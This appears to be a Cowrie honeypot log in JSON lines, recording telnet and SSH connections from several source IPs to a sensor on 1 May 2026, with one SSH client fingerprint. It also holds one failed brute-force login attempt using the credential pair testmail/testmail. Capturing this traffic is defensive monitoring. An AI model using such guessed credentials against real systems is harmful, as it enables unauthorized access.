{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":43338,"dst_ip":"10.17.0.5","dst_port":23,"session":"5597029596dc","protocol":"telnet","message":"New connection: 103.249.100.206:43338 (10.17.0.5:23) [session: 5597029596dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:29.971194Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":43494,"dst_ip":"10.17.0.5","dst_port":23,"session":"91fefd5298d8","protocol":"telnet","message":"New connection: 103.249.100.206:43494 (10.17.0.5:23) [session: 91fefd5298d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:30.051265Z"}
{"eventid":"cowrie.session.closed","duration":30.565537929534912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:30.298816Z","src_ip":"216.238.80.67","session":"bed7a59eb0c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":53366,"dst_ip":"10.17.0.5","dst_port":23,"session":"d22c6f82129a","protocol":"telnet","message":"New connection: 216.238.80.67:53366 (10.17.0.5:23) [session: d22c6f82129a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:30.572753Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":44174,"dst_ip":"10.17.0.5","dst_port":23,"session":"8255fde0f708","protocol":"telnet","message":"New connection: 103.249.100.206:44174 (10.17.0.5:23) [session: 8255fde0f708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:30.774164Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":40456,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d7618a684c7","protocol":"telnet","message":"New connection: 162.241.114.254:40456 (10.17.0.5:23) [session: 9d7618a684c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:31.351563Z"}
{"eventid":"cowrie.session.closed","duration":30.96786141395569,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:31.810130Z","src_ip":"103.249.100.206","session":"12de72423fa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":55026,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd5cc0611fc5","protocol":"telnet","message":"New connection: 216.238.80.67:55026 (10.17.0.5:23) [session: bd5cc0611fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:32.730432Z"}
{"eventid":"cowrie.session.closed","duration":31.616275548934937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:33.719866Z","src_ip":"103.249.100.206","session":"ac336282282e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4302716255188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:34.307002Z","src_ip":"216.238.80.67","session":"4f5e66790815","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":56644,"dst_ip":"10.17.0.5","dst_port":23,"session":"36c2ef35a22f","protocol":"telnet","message":"New connection: 216.238.80.67:56644 (10.17.0.5:23) [session: 36c2ef35a22f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:34.468832Z"}
{"eventid":"cowrie.session.closed","duration":31.133405923843384,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:35.773804Z","src_ip":"103.249.100.206","session":"70fbb99db700","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21286630630493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:35.829538Z","src_ip":"103.249.100.206","session":"32417a6ef606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36009383201599,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:35.865904Z","src_ip":"216.238.80.67","session":"135affe94c21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":44512,"dst_ip":"10.17.0.5","dst_port":23,"session":"143e75f6f112","protocol":"telnet","message":"New connection: 162.241.114.254:44512 (10.17.0.5:23) [session: 143e75f6f112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:36.963278Z"}
{"eventid":"cowrie.session.closed","duration":30.917723178863525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:37.042079Z","src_ip":"216.238.80.67","session":"43f7f03c70f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":38680,"dst_ip":"10.17.0.5","dst_port":23,"session":"4494936095a9","protocol":"telnet","message":"New connection: 137.184.155.248:38680 (10.17.0.5:23) [session: 4494936095a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:37.279714Z"}
{"eventid":"cowrie.session.closed","duration":30.60446286201477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:37.284742Z","src_ip":"103.249.100.206","session":"58a1afa086bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":50788,"dst_ip":"10.17.0.5","dst_port":23,"session":"019bed9931c7","protocol":"telnet","message":"New connection: 103.249.100.206:50788 (10.17.0.5:23) [session: 019bed9931c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:37.638613Z"}
{"eventid":"cowrie.session.closed","duration":31.398779153823853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:37.684915Z","src_ip":"216.238.80.67","session":"b654863faa0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":50988,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b3e156d2624","protocol":"telnet","message":"New connection: 103.249.100.206:50988 (10.17.0.5:23) [session: 6b3e156d2624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:37.889324Z"}
{"eventid":"cowrie.session.closed","duration":31.430557012557983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:38.018260Z","src_ip":"103.249.100.206","session":"6e40034736b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.209408044815063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:38.249955Z","src_ip":"216.238.80.67","session":"0fe2f58ed79a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00183486938477,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:38.270446Z","src_ip":"182.253.54.171","session":"da2f1bd3df3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":51938,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba25759e51fd","protocol":"telnet","message":"New connection: 103.249.100.206:51938 (10.17.0.5:23) [session: ba25759e51fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:38.639850Z"}
{"eventid":"cowrie.session.closed","duration":120.00133538246155,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:39.603550Z","src_ip":"182.253.54.171","session":"21b60e8ee131","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":45406,"dst_ip":"10.17.0.5","dst_port":23,"session":"08bfd6837e45","protocol":"telnet","message":"New connection: 162.241.114.254:45406 (10.17.0.5:23) [session: 08bfd6837e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:40.058304Z"}
{"eventid":"cowrie.session.closed","duration":30.885780572891235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:40.201672Z","src_ip":"216.238.80.67","session":"bbd24064fec0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00083327293396,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:40.823285Z","src_ip":"182.253.54.171","session":"c11155146ba5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":54098,"dst_ip":"10.17.0.5","dst_port":23,"session":"9638395e92d7","protocol":"telnet","message":"New connection: 103.249.100.206:54098 (10.17.0.5:23) [session: 9638395e92d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:40.883307Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":14625,"dst_ip":"10.17.0.5","dst_port":23,"session":"9262d298f0e1","protocol":"telnet","message":"New connection: 182.253.54.171:14625 (10.17.0.5:23) [session: 9262d298f0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:40.946500Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":54196,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6fa4dd54542","protocol":"telnet","message":"New connection: 103.249.100.206:54196 (10.17.0.5:23) [session: f6fa4dd54542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:40.969652Z"}
{"eventid":"cowrie.session.closed","duration":31.03420114517212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:41.213915Z","src_ip":"103.249.100.206","session":"325cb7fea17c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":47632,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d8ce20f8c04","protocol":"telnet","message":"New connection: 103.249.100.206:47632 (10.17.0.5:23) [session: 6d8ce20f8c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:41.280284Z"}
{"eventid":"cowrie.session.closed","duration":30.586742877960205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:41.326739Z","src_ip":"103.249.100.206","session":"9697b7f7b883","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00180530548096,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:41.568889Z","src_ip":"182.253.54.171","session":"d397cbbbe85d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.139135122299194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:41.777213Z","src_ip":"103.249.100.206","session":"e40f324723a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":48980,"dst_ip":"10.17.0.5","dst_port":23,"session":"38fe267e3901","protocol":"telnet","message":"New connection: 107.182.235.153:48980 (10.17.0.5:23) [session: 38fe267e3901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:42.141096Z"}
{"eventid":"cowrie.session.closed","duration":5.273826599121094,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:42.553397Z","src_ip":"137.184.155.248","session":"4494936095a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.376594066619873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:42.663986Z","src_ip":"216.238.80.67","session":"ec750e2c7255","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.602825164794922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:43.809967Z","src_ip":"103.249.100.206","session":"3036d965a271","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":12035,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0b6ebe7f846","protocol":"telnet","message":"New connection: 182.253.54.171:12035 (10.17.0.5:23) [session: d0b6ebe7f846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:44.180736Z"}
{"eventid":"cowrie.session.closed","duration":30.5260009765625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:44.220397Z","src_ip":"103.249.100.206","session":"047eabf79143","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":14228,"dst_ip":"10.17.0.5","dst_port":23,"session":"9afba80be154","protocol":"telnet","message":"New connection: 182.253.54.171:14228 (10.17.0.5:23) [session: 9afba80be154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:44.373726Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":60634,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eb8c12b33e3","protocol":"ssh","message":"New connection: 43.157.98.118:60634 (159.203.135.109:22) [session: 6eb8c12b33e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:44.821323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:44.829372Z","src_ip":"43.157.98.118","session":"6eb8c12b33e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:44.922879Z","src_ip":"43.157.98.118","session":"6eb8c12b33e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.646418571472168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:45.287112Z","src_ip":"103.249.100.206","session":"88c3ff095eec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":36626,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2fba0baa73d","protocol":"telnet","message":"New connection: 216.238.80.67:36626 (10.17.0.5:23) [session: c2fba0baa73d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:45.377383Z"}
{"eventid":"cowrie.login.failed","username":"testmail","password":"testmail","message":"login attempt [testmail/testmail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:45.624831Z","src_ip":"43.157.98.118","session":"6eb8c12b33e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":36040,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b847219681a","protocol":"telnet","message":"New connection: 216.238.80.67:36040 (10.17.0.5:23) [session: 3b847219681a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:45.688102Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":49248,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0736d079df4","protocol":"telnet","message":"New connection: 162.241.114.254:49248 (10.17.0.5:23) [session: f0736d079df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:45.850340Z"}
{"eventid":"cowrie.session.closed","duration":47.74659061431885,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:45.938048Z","src_ip":"137.184.155.248","session":"b04fdd9795dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":59578,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2a940923dd8","protocol":"telnet","message":"New connection: 103.249.100.206:59578 (10.17.0.5:23) [session: f2a940923dd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:46.308164Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":43734,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbc449f29094","protocol":"telnet","message":"New connection: 107.182.235.153:43734 (10.17.0.5:23) [session: fbc449f29094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:46.502846Z"}
{"eventid":"cowrie.session.closed","duration":0.007101774215698242,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:46.509812Z","src_ip":"107.182.235.153","session":"fbc449f29094","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:46.720923Z","src_ip":"43.157.98.118","session":"6eb8c12b33e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.18834066390991,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:47.077071Z","src_ip":"103.249.100.206","session":"9f46d42e7b3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.568946838378906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:47.306264Z","src_ip":"103.249.100.206","session":"035236751b08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25536584854126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:47.791853Z","src_ip":"103.249.100.206","session":"ff50041bfa6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.156008005142212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:48.179042Z","src_ip":"103.249.100.206","session":"dbe511249028","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.809316873550415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:48.648238Z","src_ip":"216.238.80.67","session":"2a6f76814c00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":40538,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc26e7944786","protocol":"telnet","message":"New connection: 107.182.235.153:40538 (10.17.0.5:23) [session: fc26e7944786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:48.671004Z"}
{"eventid":"cowrie.session.closed","duration":31.34729290008545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:48.773954Z","src_ip":"103.249.100.206","session":"0634d4090d8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16031527519226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:48.922652Z","src_ip":"103.249.100.206","session":"26be6dfc0c81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47418785095215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:48.934225Z","src_ip":"103.249.100.206","session":"c1a44c5e5013","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.680387496948242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:49.077086Z","src_ip":"216.238.80.67","session":"80cc182ea3cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.598147869110107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:49.174925Z","src_ip":"103.249.100.206","session":"390e69d673fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":12991,"dst_ip":"10.17.0.5","dst_port":23,"session":"e11207d665fb","protocol":"telnet","message":"New connection: 182.253.54.171:12991 (10.17.0.5:23) [session: e11207d665fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:49.219603Z"}
{"eventid":"cowrie.session.closed","duration":30.91310214996338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:49.259234Z","src_ip":"103.249.100.206","session":"43e96a2ddd16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":49728,"dst_ip":"10.17.0.5","dst_port":23,"session":"1613acd5ae33","protocol":"telnet","message":"New connection: 162.241.114.254:49728 (10.17.0.5:23) [session: 1613acd5ae33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:49.652656Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":48444,"dst_ip":"10.17.0.5","dst_port":23,"session":"156ceb51b49b","protocol":"telnet","message":"New connection: 107.182.235.153:48444 (10.17.0.5:23) [session: 156ceb51b49b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:49.700392Z"}
{"eventid":"cowrie.session.closed","duration":31.75318193435669,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:49.705961Z","src_ip":"103.249.100.206","session":"9e14bb812709","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":60926,"dst_ip":"10.17.0.5","dst_port":23,"session":"53c49f7d130b","protocol":"telnet","message":"New connection: 103.249.100.206:60926 (10.17.0.5:23) [session: 53c49f7d130b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:50.617073Z"}
{"eventid":"cowrie.session.closed","duration":31.411882400512695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:50.954124Z","src_ip":"103.249.100.206","session":"282b9a103b67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":53324,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b1e20982d24","protocol":"telnet","message":"New connection: 162.241.114.254:53324 (10.17.0.5:23) [session: 2b1e20982d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:52.402536Z"}
{"eventid":"cowrie.session.closed","duration":31.38178324699402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:53.094833Z","src_ip":"103.249.100.206","session":"3660fd0d0f8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":54118,"dst_ip":"10.17.0.5","dst_port":23,"session":"92e61d695ada","protocol":"telnet","message":"New connection: 162.241.114.254:54118 (10.17.0.5:23) [session: 92e61d695ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:53.495515Z"}
